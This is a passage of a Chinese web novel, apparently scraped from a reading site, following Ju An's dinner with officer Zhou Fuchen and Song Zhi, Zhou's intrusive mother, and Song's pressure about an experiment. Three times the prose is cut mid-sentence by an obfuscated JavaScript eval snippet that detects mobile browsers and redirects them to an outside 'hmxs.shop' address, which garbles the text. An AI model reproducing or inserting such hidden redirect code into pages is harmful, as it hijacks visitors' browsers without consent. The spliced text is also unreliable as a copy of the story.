雎安没想到周浮沉面上冷,却是如此得尽职尽责,满怀感激地道完谢,赶忙拿出手机翻找通话记录。只是,即便周浮沉都说到这份上了,她的脑海还是不自觉地浮现出赵思成跟踪并威胁她的画面。 毕竟,她完全没有想过,这个人会和杀害叶扶英的凶手一样,居然一直生活在她附近。 雎安心绪不宁,伸手拿茶杯的时候完成没看,错拿成周浮沉的茶杯,被周浮沉及时发现后一把夺过,但却因为他的动作太快、没有控制好力道,雎安人都跟着往前倾,要不是另一只手及时撑在桌沿上,差点就直直地撞进周浮沉的颈窝处。 幸好!幸好及时刹住了车,没有发生尴尬的事。 雎安暗自庆幸,然而不过十几秒,她便发现茶杯中的水溅到了周浮沉的裤子上,位置有些尴尬。 “抱歉,是我的问题。” “啊?”雎安倒不是对异口同声感到惊讶,而是因为周浮沉的道歉。 “对不起。” 一连两次的异口同声,让雎安和周浮沉怔愣的面上都出现了笑意。有时候,尴尬让人想要逃离,而有时候,尴尬反倒拉进了距离。 “你没事吧?”雎安知道茶水是冷的,但还是本着要关心一下的原则,眼睛却不敢再往下看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16045889|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周浮沉发出一声低沉的笑,片刻后,才开口道:“没事,水不烫,只是有点像小朋友尿裤子了。抱歉,刚刚是我反应太大。这杯子是我的,我看你快碰到嘴了,怕你喝了以后心里难受。” “怎么会?”雎安干笑一声,“本来就是我拿错在先,就算难受也是我自己的问题。” 周浮沉穿的还是中午那件长袖的蓝色衬衫。不同的是,雎安从在快递站发现他的那刻起,就注意到他将袖口卷到了手腕处、露出了他结实的小臂以及手腕处那冰蓝色的腕表。 这让原本生人勿进的他,多了份松弛感,却也多了份压迫感。 兴许是因为他展露出的结实肌肉,兴许是因为他显露出的殷实家底。 然而,此刻他嘴角噙着笑,英气十足的五官竟神奇地透着稚气,没有一点笑面虎的感觉,倒真变得平易近人起来。 “不过,看到你笑,还听到了你的道歉,我觉得好神奇啊~”雎安感叹,不自觉的,说话间胆子也大了起来,“我还以为你是那种......不会觉得自己有错的人。亦或是......那种就算知道是自己错了也不认的人。” 周浮沉的笑容霎时凝固。 雎安一顿,赶忙解释道:“只是外表给我的一种感觉,我不是说你人品有问题,只是觉得你看着......有点傲?呃......是我不会表达。我想说的是,你不是那种会轻易低头的人,再换一种说法的话,就是坚持自我、很有主见的人。” 其实,就算周浮沉的脸上没了笑意,也没有表现出任何被冒犯后的怒气和敌意。他只是静静地看着雎安,看着她的笑容跟着凝固,看着她着急向他解释,看着她在自认为解释得非常完美后松了一口气。 之后,他收回打量的视线,慢慢低下头,对着桌面发愣。 的确,雎安刚才冒犯到了他,她的描述太像那个人,他反感的那个人。但他最反感的却并不是这个,而是他刚才的反应,简直和那人面对犯错的下属道歉时的反应如初一撤。 “其实你说得也没错。” “啊?” “我长得很像我爸,而我爸就是那样的人。”周浮沉扯了扯嘴角,扯出了一个颇具嘲讽意味的笑容,“兴许以后就不止是外貌了,我会变得和他越来越像。” 一阵沉默后,雎安开口道:“怎么会?你是你,你爸是你爸。就算再像,你们又不是一样的。” 雎安长得很像邹伟聪,尤其是小时候,几乎每一年、每一次、每一个见到她的亲戚都会这么说。后来她长大了,五官多了几分柔和之气,开始偏向纪小梅,说的人就变少了。但偶尔还是免不了被人调侃一句,说她一看就是邹伟聪的小孩。 虽然知道这么说的人并没有恶意,雎安也都是笑笑就过去了,心里却不高兴。 她不喜欢别人说她长得像邹伟聪,更不喜欢有人说她身上有某个特质和他类似,也不喜欢听到以后要变得和爸爸一样之类的话。 她非常抵触变成邹伟聪那样的人。而现在,她在周浮沉身上感受到了相似的情绪。 “是吗?”周浮沉拿起水杯,只抿了一口,修长的手指便开始慢慢地敲打着杯沿,水杯发出哒、哒、哒的声响,声音很轻很缓,雎安的心却反之跳得越重越快。 某一刻,她看着周浮沉的侧颜,观察他的表情和姿态,仿佛他手中的不是水杯,所在之地也不是拥挤的餐厅,而是在一个属于他的主场,手握着酒杯,姿态从容地凝视着慌张怯场的她。 明明他根本就没看她,也没有任何多余的动作,却像是亲手将本就隔着一段距离的她推到了千里之外。 “我倒觉得,父母对子女的影响早已刻进了骨子里,反应在每一个选择上。人生嘛,不就是一个又一个的选择吗?最后就算表面看着不太一样,但只要掀开了皮,就会发现里子都是差不多的......无趣。” 二楼的楼道上,宋挚一手握着手机,一手扶着栏杆,耳边是教授对他多次旷课的训斥,眼前是雎安对着周浮沉的侧颜怔愣的画面。 她像是被他漫不经心地样子给迷住了。 顷刻间,他想到了雎安对宋教授说的那些故事,那些他认为荒唐且不可能发生的故事。 39. 我们很像,第一眼我就知道。 “我不这么觉得。” 雎安不服,没注意到自己语气中透露出的强硬,反驳道:“死亡是每个人注定的结局,但每个人的人生经历都是独一无二的,都是自己的正版,不会成为任何人的复刻。” “你不懂我的意思。”周浮沉低头一笑,笑意温柔,像是听到了什么不懂事却稚气可爱的牙语。 雎安承认,周浮沉方才的话刺伤了她。 她绝不允许自己成为父母人生的翻版,哪怕是披着华丽外皮的翻版也不行。 “你要吃点青菜吗?” 在梁询离开以后,雎安发现桌面上没有绿叶青菜,就追加了一道蚝油菜心。之后过得有了二三十分钟,这道菜姗姗来迟,冒着热气被端到了周浮沉的面前。 他若是想讨论下去,大可以选择无视,但这句询问,明显是想结束当前的话题。 雎安平时是极有眼力见的人,此刻却摇头拒绝,接着道:“就算负面的影响能融进了骨血里,有的人一样会以抽血剔骨般的决心和勇气来挣脱束缚。只不过,大多人都没有这样的决心和勇气,一想到要为之付出的代价,权衡利弊后就会觉得不如放弃,但是在茶余饭后,还会忍不住怨叹一下命运。在我看来,他们不是真的想改变。” 雎安完全没注意到,周浮沉斜睨她的眼神变得愈发锐利。 “不过,我倒是没想到......你还蛮悲观的。”雎安瘪瘪嘴,“你看起来不像是会消极处世的人。我以为只有习惯责怪和崇尚打压式教育的父母,才会养出比较自卑和悲观的孩子。” 闻言,周浮沉微眯着眼,唇角微勾,明明还是笑,却完全脱去了方才的稚气,如同乖巧的猫咪突然露出獠牙,变身为笑面虎。 “那你原本觉得我是怎么的人?我父母又是怎样的人?” 雎安没有回答。 “乐观友善,性情温和?”周浮沉嗤笑一声,些微前倾的姿态颇具攻击性,“父母开明,模范家庭?” 雎安彻底愣住。 因为她对他这个人和他的家庭,并不是全无了解。 在她的脑海中,有他帮助她走出阴霾的记忆。 她不知道前因后果,只知道她很难过,难过到没有勇气面对这个世界,她将自己关在一间公寓里,没日没夜地任由自己在悲伤的潮水中沉溺。潮起时,她哭泣,他轻声安抚她。潮落时,她呆滞地望着窗外,他默默陪伴她。 即便他们在现实中的第一次相遇并不美好,第二次相遇亦如是,甚至可以用糟糕至极来形容。但她凭着那一份记忆,自然而然地将他视为冬日暖阳般的存在,尤其是当那对刁蛮夫妻和装置中的他们对应,而他的出现如英雄般帮助她脱困。 那一刻,尽管她对他了解甚微,但对他的信赖却远超于曾对她袒露心声的宋挚。 此刻,他却颠覆了她对他的认知。 雎安此刻如同一个追星成功的小女孩,因为发现真人和她印象中的并不一样,由此产生了失望和落差。 雎安看着周浮沉的眼睛,蓦地苦涩一笑,“我父母是很典型的打压式父母,会习惯性地挑我的错处,把生活的不如意归咎到我身上,催促我要不断地反思和改进自己,要我按着他们预设的方向前进。要是我不顺着他们,就是不孝。要是我做得还不错,就会得到一声赞赏和继续努力,但最终成果都会归功到他们的栽培上。” 雎安别过头,眼眸变得黯淡无光。 “你我虽然看着都是内敛沉默的人,但给人的感觉却很不一样。我很清楚我是个自卑的人,经常怀疑自己,经常会不自觉地贬低自己。眼尖的人甚至一眼就能看出来,而你却不是。我们一点都不像,所以我才会觉得你父母应该是比较开明的人。” 雎安发现,她竟然毫无心理障碍地在他面前暴露自己的弱点,兴许是因为她在他面前早已没有什么形象可言吧。 “不,我们很像,第一眼我就知道。” 周浮沉的唇角仍挂着笑,只是眸中笑意不达眼底,而他高大健壮的身躯和雎安挤在一侧,在这逼仄的空间里就是会自带压迫感。 雎安的眼神闪躲,张口刚想问宋挚怎么还不回来,就听到周浮沉自顾自地开口:“内里都差不多。” 周浮沉扭头,再一次拿起水杯,轻抿了一口。 这回,雎安真的怀疑水杯里装的是酒,因为周浮沉的状态好似微醺,眼睛微微眯起,语气慵懒道:“只是我的父母擅长伪装,我也要伪装而已。” 周浮沉的话让雎安呼吸一滞,一种名为共鸣的酸涩从心底泛起,直往她心里钻。 “你应该是最近才认识宋挚的吧?” 雎安微愣,“嗯,对。” 周浮沉接着说道:“宋挚的爸妈才是开明的父母。他们倾听宋挚的意愿和想法,即便出于父母的爱想要帮助他,也会克制地给他留有空间。所以,宋挚虽然幽默风趣、乐观开朗,但开玩笑不会无度。以前我们几个同学最爱找他打球,然后去他家里蹭饭,因为他们家很温馨,我们与其说是喜欢,不如说是向往。” 说着说着,温柔的笑意爬上了周浮沉的眉眼,“小时候,宋挚是一群人里最调皮、最开朗的,像是有多动症一样,但叔叔阿姨一点也不会不耐烦,除了陪他玩,还会陪我们玩,一起参与到幼稚的游戏里。长大了也是,即便是在和父母矛盾越来越多的青春期,我们还和宋挚的父母一直出游过。只是,那时的他们不像以前,会刻意和我们保持一段距离,依偎着漫步,牵着手到山顶。” “真好,真是难得的父母。”雎安感叹。 周浮沉的眸光潋滟若晴水,顿了顿,应道:“是啊,是很难得。我还记得攀登到山顶后,那有一颗许愿树,他们当着宋挚的面许愿,说希望宋挚在锐意进取的同时,更重要的是成长为一个乐天知命的好人。快乐和善良才是最重要的,其他都是次要。当时可是在初升高的关键期,考试一场接一场,我还是第一次听到祝学业进步以外的愿望。” “真好。”雎安发自内心地赞叹,片刻后,说出了心中疑惑,“只是,你刚刚用来形容宋挚的词,我听着很奇怪,就感觉……和现在的他完全不搭边。” 雎安在装置里见过以前的宋挚,兴许是因为两次相处的时间过于短暂,第二次的地点又是在医院,雎安只感觉从前的宋挚眉宇间没有忧愁,眼眸也更明亮清澈,并没有和现在的他有那么强的割裂感。 “听着很陌生?”周浮沉侧过身,看着雎安的眼睛道:“可这就是宋挚。他是在家人生病以后变得越来越沉稳,又因为一场意外,变得越来越沉默。慢慢的,就有越来越多的人说我们越来越像了。” 周浮沉笑着摇了摇头,“但我们不一样。” 即便外显相似,内里和底色终究不同。 雎安垂眸,回忆起自己对宋挚和周浮沉的初印象,当她把他们放在一起比对时,确认觉得他们的性格大差不差,无聊的时候还曾猜测过,他们兴许就是因为性情相似才成为的好朋友。 不过,倒也奇怪。 她和宋挚认识是认识、但一点也不熟悉,这些周浮沉一眼就能观察得出。按理来说,以他的职业和性情,不像是会拿朋友的隐私当谈资的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16051141|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他刚刚却一直和她聊宋挚的私事,不应该啊~ 难道是刚刚有关于家庭的话题,戳到了他的痛处? 雎安微微倾身,观察起周浮沉的表情,见他的表情仍有些伤感,想要出声安慰安慰,却被一个上扬的女声意外打断。 “浮沉~”管晋云面带笑意,故意将尾调上扬,“你不是说你在加班吗?” 周浮沉赶忙收敛起落寞的表情,神情变得极不自然。 换做往常,他定能提前察觉,碰巧这几天睡眠不足,和雎安聊得又太过投入,一时间没有防备,明明没有做亏心事,但就是有些别扭。 “妈,我是人,要吃饭的。倒是你,怎么会在这?” “我和几个同事来聚餐。”管晋云指了指楼上的包厢,随即看向雎安,语气中明显带着兴奋,“你好,我是周浮沉的妈妈,管晋云。你是?” 雎安起身站直,而后微微欠身,“您好,我叫邹雎安。关关雎鸠的雎,平安的安,是周浮沉和宋挚的朋友。” “关关雎鸠的雎?我还是第一次听到有人用这个字,挺特别的。” 管晋云一边回应,一边打量雎安的外貌和身姿。 “谢谢。”雎安挤出一个笑容,礼貌地回应,随即低头示意周浮沉,“那阿姨你们先聊,我想去上个厕所。” 管晋云满含笑意地看着周浮沉站起身为雎安让道,用余光扫了眼那逼仄的双人座和他们对面那空空如也的座位。 “还有两个人?”管晋云注意到了桌面上用过的碗筷有四副。 “嗯,我们是四人聚餐,宋挚和我的新同事梁询也在。”周浮沉坐回原位,尽量让自己的语气如同平常,“梁询有事先回家了,宋挚在二楼走廊接电话。” 可他疏忽了。 后面的那一句解释是多余的,倘若他真不在意,就算被误解,也不会多解释。 管晋云在儿子对面坐下,毫不掩饰地打量起雎安的背影,观察起她的衣着首饰和斜挎包,见雎安脚下生风般往楼上走去,目光幽深地将视线转到周浮沉身上,打趣道:“人家指不定是在给你们制造二人空间呢~” 张记酒楼,二楼廊道。 雎安瞥了眼面前一道道紧闭的包厢大门,转身抬头,按着指示牌的方向往前走。 突然,一道红色木门被缓慢地推开,上完菜的服务员从里头退出,声音从未闭合的门缝中透出,形容里头吵得像是一群鸟雀在叽叽喳喳地叫也不为过。 没想到,这的包厢隔音居然这么好,难怪二楼比一楼安静那么多。 “我知道,杜教授已经训过我了。” 雎安顿住脚步。 “打算?没什么打算,我自有安排。” 是宋挚的声音,他就在拐角处。 “我说话前后矛盾,不也是跟您学的吗?” 宋挚言语嘲讽,丝毫不客气,多半是在和宋教授通电话。 “等什么时候您愿意和我沟通了,我自然也愿意和您沟通。” 宋挚离座这么久,难道一直在和宋教授争口锋?他嘴皮子这么溜的吗?能争这么久? “我在和朋友吃饭,出来的时间太久,得回去了。” 话语间,宋挚探身看了眼楼下,发现雎安已然不见、周浮沉的对面又坐着管晋云的时候,眸底掠过一丝惊讶,而后挂断电话,加快脚步往楼下去。 他对气味一向敏感,鼻吸口呼间,熟悉的栀子花混着洗衣皂的香气钻进了他的鼻腔。 他肯定,她在附近。 他的鼻子比眼睛更早感知到了她的存在。 40. 几分诱人的气息...... “我不是故意偷听的。”雎安贴墙而站,也不知自己为何要做投降状,弱弱地解释道:“是周警官的妈妈突然出现,我觉得呆在座位上很尴尬,就躲到二楼来了。” “嗯,走吧。” 宋挚看起来完全不介意,雎安识趣地不再解释,转身上前,先他一个身位往楼下走去。 宋挚走得很慢,悠然自得的姿态宛如在小院中闲庭信步。 雎安因为不想那么快再对上周浮沉妈妈那带有审视意味的眼神,所以走得也不快。 高端的场所在夏季似乎都有一个默认的成规,那就是空调必须得够冷,而且是冷到能让客人穿秋装的程度,才配得上高端二字。 此时此刻,没了饭菜氤氲的热气护体,空调风吹过,发丝扬起,冷得雎安打了个颤。 宋挚就跟在她不远处的斜后侧,鼻腔瞬间被熟悉的栀子花香再一次占据,由此他更加确信,雎安用的就是他送给她的那款护发油。 紧接着,他视线下移,才注意到她穿的不是中午那套被弄得有些污脏的白色短袖衬衫和蓝色牛仔裤,而是换了一件法式的黑色挂脖长裙。不得不承认,脖颈处那挂脖系带设计得非常巧妙,黑色的蕾丝飘带衬得她裸露在外的皮肤如雪般透亮白皙,优雅中透着几分诱人的气息...... 如果他是吸血鬼,就会一口咬下去! 这想法从脑海中蹦出来的瞬间,宋挚被自己吓了一大跳。 “你还好吧?”雎安以为他也是被刚才那寒气逼人的空调风给冷到了,友好地询问道。 “没什么。”宋挚眼神躲闪,三两步走到了雎安的斜前方。 雎安不明所以,迷茫地看着他那宽阔的后背和那白色衣衫下时隐时现的背肌,突然觉得自己非但不冷,双颊处反倒有一些热。 “阿姨好。”宋挚上前打招呼,雎安跟在他身后有样学样,又问了一次好。 “哟,这是阿挚?怎么越来越帅了?”管晋云眼中闪过一丝赞叹,起身上前,拍了拍宋挚的肩膀,“阿姨好久没见你了,上次还是你刚考上研究生的时候吧?” “是。”宋挚自然地将身份转换成一个恭谦的小辈,脸上挂着礼貌的笑容,与其寒暄道:“这段时间发生了太多事,不然,我本该在过年的时候去拜访您和叔叔的,失礼了。” 管晋云当然知道宋挚家里发生的事,放缓语气,安慰道:“阿姨明白,刚刚可不是在怪你。说起来,阿姨本来想约你们一家出来聚餐的,但又考虑到玉瑛的身体......唉~本以为终于是苦尽甘来,没想到后来居然会发生那样的事,请节哀。” 邓玉瑛去世后,宋挚和宋言林按照本人的遗愿,并没有举行葬礼。所以,他们每碰到一个老熟人,都得陪着怀念和寒暄,然后就会收到一句“请节哀”。 起初,宋挚感到很难受,这感觉就是像是被人一次又一次的揭开伤疤。可他们并非恶意,言辞行为都合情合理,他没有让他们闭嘴的理由。所以他只能躲着,将自己锁起来,非必要的人都不见。 而今,他的内心已经没有多少波澜,“嗯,谢谢阿姨的关心。” 雎安和周浮沉看着面带微笑且表现得极为平静的宋挚,俱面露担忧。 两人都知道邓玉瑛的死是宋挚心中过不去的坎,雎安联想到了他说要救回母亲时那坚定的眼神,周浮沉则是担心母亲的话会牵动他的抑郁情绪。 “以前,玉瑛......” 见管晋云哪壶不开提哪壶,竟然还打算在宋挚面前忆往昔,周浮沉剜了管晋云一眼,随即站起身,从中打断道:“妈,王队让我赶紧回去汇报工作进程,我这几天缺觉,怕开车打瞌睡,你送我一程吧。” “汇报工作进程而已,有必要这么着急吗?” 周浮沉明显又刻意的行为让管晋云觉得好笑。 “妈,我赶时间。”周浮沉又无奈又无语,离开前还走到雎安面前,与她道谢,“今天谢谢你请客。” “没事,该我说谢谢才对。”雎安应道。 “那正好,我们谁也不用谢谁了。”感受到管晋云的目光,周浮沉速战速决道:“我得走了,阿挚就麻烦你了。” 啊?麻烦她?麻烦她什么? 雎安还没能来得及给反应,周浮沉拉着管晋云的手肘,已经走出了张记酒家。 “刚刚那女孩很漂亮,长得白净,而且很有书香气,看着是个温柔贤淑的人。”管晋云在开车送周浮沉去警局的路上,仍然锲而不舍的试探。 周浮沉坐在副驾,原本打算上车就补觉的他困意全无,手撑着窗沿,望着窗外发呆,并不出声。 “就是有些小家子,也不太会聊天,和你一样死气沉沉的。要不是亲眼看见,我根本不觉得你们俩坐一起能有话聊。” 对面有空位都不坐,还贴那么近,管晋云腹诽了一番。 “我看她的衣着打扮,家境应该不太好。她在哪工作?家里人是做什么的?” 又是一阵沉默,管晋云终于气不过地斥道:“你现在怎么变得这么没有礼貌了?妈妈在和你说话呢!” 周浮沉心中反感,又觉太阳穴突突地隐隐作痛,开口解释道:“妈,我熬了几个大夜,实在是累了。您安静点,让我睡会儿。” 管晋云却以为他是在刻意回避话题,气恼道:“刚刚怎么不见你说累?每次一说女孩子你就回避,我还以为你专注于事业专注到封心锁爱了。结果......原来你喜欢和你一样不说话的女孩,亏妈妈还一直给你找活泼的女孩子,害我做无用功。” “您不要误会了,雎安只是我和阿挚的朋友。要论熟悉,她和阿挚比较熟。” “是吗?”管晋云显然不信,“你可别以为妈妈不上网。” 周浮沉一愣,原本不想多解释自己和雎安的事,免得此地无银三百两,此刻却觉得到了不得不解释的地步。 “我猜您看的一定是那个被剪辑过的视频,我劝您去看看完整版,就会知道我和雎安不熟,当时只是在执行任务。晚上也是阿挚找我有事,结果撞到她,她说想请客感谢我。我本来要拒绝的,结果阿挚直接问他能不能一起来。” 管晋云对宋挚有所了解,知道他不是这么唐突的人,听到这,已经猜到她或许是误会了。 “您也看到了,吃饭的位置就这么窄,总得有人坐过去,正好我走在最外面。可我坐下以后,阿挚一直注意着我和她的一举一动,还装作不在意地留心我们的对话。而我看雎安根本没反应过来,所以才在阿挚离席的时候暗示她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16055209|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,和她说了些阿挚的事。” 管晋云想起视频中周浮沉那激动的模样,狐疑道:“可我看你也挺在意的啊。” “您别一厢情愿地下定论了,好不好?况且,我都不知道我喜欢怎样的人,我怎么告诉您?您省点力气,多花点心思在您自己身上吧。” “你是我儿子,我能不管你吗?” 管晋云觉得委屈,她为家庭付出了这么多,可好像没有人把她的关心当一回事,于是更为气恼,有些赌气道:“不过也好,那女孩的家世肯定不怎么样,也省得我当恶人来强拆鸳鸯。改天我看看文静的女孩子里有没有和你相配的,你抽时间和人聊聊,不许敷衍!” 周浮沉不再说话,全身的骨头都像被捣碎了似的,瘫靠在椅背上,闭上眼假寐。 “你之前就认识浮沉?” 宋挚坐回原位,雎安也跟着落座。 “嗯对。”雎安不想细说,“我之前做过一个案件的证人,周警官是处理案件的警官。” 闻言,宋挚以点头作回应,而后拿起筷子,继续吃菜。 “这些菜都凉了,要不要让服务员用微波炉热一下?”雎安提议道。 然而,还不等宋挚回应,她“哦”一声,赶忙打开了手机。 宋挚被她突然一个激灵的动作给镇住,碰巧看到了那骤然亮起的手机屏幕上,是周浮沉的头像。 她在加周浮沉为微信好友,为此在认真的填写着申请信息。 他没出声,直到雎安点击发送后,才答道:“不用加热,这样就很好。” “抱歉。”雎安意识到自己的失礼,“突然想起一件重要的事,我怕待会儿忘了。” “没事,你忙你的。” 话语间,雎安的手机铃响。 备注是爸爸的。 因为觉得这通电话没有避开宋挚的必要,雎安直接摁下了接听键,谁知邹伟聪的声音顷刻从听筒里飞出,带着一种要从手机里钻出来即刻批斗雎安的暴躁和愤怒。 雎安尴尬地起身,拿起手机小跑往二楼去。 宋挚看着雎安的背影,想着自己的反应还算正常,应该没有冒犯到她。然而,待她的身影完全消失,他回想起她急速躲闪的视线和迅速起身的动作,慢慢地放下了筷子。 他看到了屏幕上的名字,知道那是她父亲的来电。 电话中,她的父亲很愤怒。 从他听到的片段可知,她父亲愤怒的原因和中午那件事有关。可正因如此,他才感到十分困惑,怎么都想不明白她父亲为什么要这么凶的质问她? 这时候难道不该是先关心和安慰她吗? 况且...... 宋挚环视一周略显噪杂的环境,无法想象她父亲发出的声音得有多尖锐,才能让坐在对面的他都听得到。而要发出那样的声音,理直气壮地说出那些无理且伤人的话,当时她父亲会是怎样可怕的面容和姿态?平时会不会也经常这样? 宋挚结合之前获得的资料来分析。 经济条件差都是次要,最怕父母能力有限还自视甚高,情绪不稳还推责子女,这种父母通常会把苦难都归咎于子女,却同时把突破困境的希望都压在子女身上。 兴许,这才是最可怕的。 41. 保护罩,就这么被击破了。 很快,雎安从二楼下来了,情绪明显低落很多,一方面是因为尴尬,另一方面是被邹伟聪不分青红皂白的数落后的难过。 “如果和父母矛盾很多的话,可以试着搬出去住。有时候,保持距离就是解决矛盾的一种方法。” 雎安愣住,没想到宋挚的提议和她的想法对上了。 “我的亲身经历。”宋挚说完就伸手去拿筷子,又开始夹冷菜吃,一副随口一说、不在乎对方反馈的模样。 “谢谢你的提议。”雎安朝他笑了笑,“我会认真考虑的。” 宋挚点头作应答。 接着便是一阵沉默,雎安却并不觉得尴尬,就这么直勾勾地看着他骨节分明的手指,最终视线落在他的手腕处,在发现他夹菜的频率明显减少后,才开口问道:“今年是你的本命年?” “对。” “手腕上的红绳是你编的吗?”雎安把差点脱口而出的好丑给咽了回去,换成了高情商用词,“还蛮特别的。” 宋挚放下筷子,垂眸看着手腕上鲜艳的红绳,尤其是收绳处那长短不一的“尾巴”让他失笑的眉眼间流露出了无尽的温柔。 “是我妈妈编的。” 好险,幸好没乱说话。 雎安为自己捏了一把汗。 “她一直都不擅长做手工,编得.....确实不好看。”宋挚的唇角挂着笑,语气温柔,“但它是唯一的,代表着我家人的爱。” 雎安面上没有变化,仍然是一副怡然自乐的模样,只是莹亮的眼眸却不自觉地变得有些黯淡。 “你想好了吗?”宋挚话锋一转,收敛起笑意,表情变得严肃起来。“我之前的提议。” 闻言,雎安的笑容彻底僵住,“我还没想好。” 宋挚坚持不懈的劝说道:“只要你帮我,不管最终你是拿到150万还是50万,都是一笔不小的数目,它足够支持你外出租房和辞职备考。就算之后你改变了目标,它也会是你试错的底气。现在就看你的选择了,只要你下定决心,就可以拿到改变命运的入场券。” 确实......非常诱人。 比起上次在逃离餐馆时,还有些冒失的言语,宋挚这次精准地抓住了她的痛点,并提醒她对症下药的“药材”能否到手,就在她的一念之间。可正因如此,这就侧面印证了他不仅知悉她的情况,知道如何诱循她,还洞悉了她现下的困境和需求。 这就变得有些吓人了。 “我听师姐说,宋教授没有明确告诉你实验的次数和时间。也就是说,只要宋教授觉得你的任务完成了,随时可能换人。” 宋挚隔着桌子往前倾近,缩短了两人之间的距离,语气低柔得似在劝说,“机不可失,失不再来。” 宋挚以为,雎安迟迟没有同意他的提议,是因为对他的不信任,以及担心拿到钱后会被他倒打一耙。所以他接近她,自揭伤疤,告诉她让她这么做的原因,给她充足的思考时间,还提出各种方案以解她的后顾之忧。 他确信,她会同意,只是碍于契约精神,需要他一步步推进。 “宋教授有告诉你说下一次的实验时间吗?” “有。”雎安如实相告,“是这周六。” “那我周五上午打电话给你?” 宋挚的意思是,最迟在周五上午给他一个确切的回复。 “好。”雎安给自己留了余地。 “对了,你上次说阿姨是被人给毒害的。但我在网上查到,黄斌最终被判的是过失杀人罪,你是对判决结果有疑问吗?” 宋挚没有正面回应,“你为什么会这么问?” 越是和宋挚接触,雎安越是确信他是个极有教养的人,不会随便下论断,也不会随意出口伤人。而毒害这个词,其中的“害”字是带着深深恶意的。 不论是不幸中毒而亡,还是被人毒害,都不会改变宋挚要救母亲的决定,更不会成为她是否愿意帮他的关键点。 所以,他没必要撒谎。 “如果你认可判决结果,肯定不会和我说阿姨是被毒害的,而是会说不幸的意外。” 闻言,宋挚唇角扬起,没想到自己下意识的措辞会暴露他的真实想法,更没有想到雎安非但不迟钝、反倒挺敏锐,语气中还透露着一种对他颇了解的笃定。 “我确实没说过我妈是被黄斌给毒害的。” “嗯?”雎安顿住,回想当时宋挚的原话,他说邓玉瑛被人毒害,而没有说是被黄斌毒害的。 很快,雎安便反应过来,“你怀疑真凶另有其人?” “对。”宋挚补充道:“只是怀疑,没有确凿的证据。” 难怪他和周浮沉在调查寄件人为黄文武的快递包裹。 傍晚,雎安在快递站听到周浮沉提起黄文武这个名字的时候,第一时间就联想到了黄斌。接着又想起上周日,宋挚在植庭茶馆质问服务员为什么要帮陌生人寄快递的事情。 所以,那包裹是黄斌托人寄来的?他现在寄托于宋挚来帮他洗脱冤屈? “你为什么会查我妈的案子?是怕我说谎骗你吗?”宋挚语气柔和,没有任何质问的意味。 “放心,我没觉得你冒犯到了我,相反,我觉得你会调查我是很正常的事。你不如趁着这个机会,把你的顾虑告诉我,有疑问也可以直接问我。” 要问吗? 她根本不信黄斌会做出毒害这么多人的恶行,尤其是被害人中还有帮助过他的人,一想到黄斌身体打颤还帮她一起救人的样子,还有黄斌拖宋挚交给她的那皱巴巴的三张十块钱。 她的内心不受控地发暖,口腔却不自觉地发酸。 无论是在装置还是现实中,她都期盼看到黄斌的生活得到改善并且能拥有一个美好且光明的未来,然而现实中却事与愿违。 所幸,宋挚和周浮沉已经在查了,而且查得很认真很细致。 她想,现实中和黄斌毫无交集的她,现在最好是静观其变,而不是冒然的挤进调查行列,引人怀疑。 不过,他让她有事就问,这倒是个好时机。 “你是不是听到了我和宋教授的谈话?”雎安问完后偷瞄了一眼宋挚,发现他还没反应过来,“就是上周二,学校廊道的那次。” 其实,在宋挚解释不清说那句“因为,你不诚实。”的原因时,她就已经有所怀疑,而在宋挚无意间说出她老师姓叶的时候,她就已经笃定宋挚听到了她和宋教授的对话。 “哦,那次啊……” 宋挚完全没想到雎安的疑问居然是这个,眸底闪过一丝慌乱,但还是坦然地承认道:“我是听到了,但不是故意去偷听的。当时四楼的男厕有阿姨在打扫卫生,我就去了五楼的厕所。而我出来的时候正好听到有人在叫我的名字,我以为是有人在议论我,然后我走到五楼的廊道上站定,想听听看到底是怎么一回事。” 当时是周末,教学楼里没什么人,非常安静,雎安还觉得在廊道上吹着小风谈话的感觉非常好,结果楼上有人走动都没发现。 唉~虽然她早猜到了,但在得到确切答案的时候,还是觉得好丢脸! “嗯,我知道你不会偷听。“ 宋挚被她漫不经心的话给震了一下。 虽然她说得有些随意,语气平常,没有刻意放重的语调,没有敷衍安慰的意思,但就是让他真切地感受到了她对他的信任,让他在某个瞬间想到了邓玉瑛和从前的宋教授。 人在尴尬时,真的会莫名其妙地想喝水。 雎安低头,拿起水杯喝水,在明确感受到宋挚注视她的视线时,直接抬头一饮而尽,斟酌用词后道:“其实我真正想问的是,你听到那些……故事,是什么感觉?是不是觉得我竟然敢在宋教授面前胡编乱造?” “可那些情节不是我编的,而是突然出现在我脑海里,变成了我的记忆。” 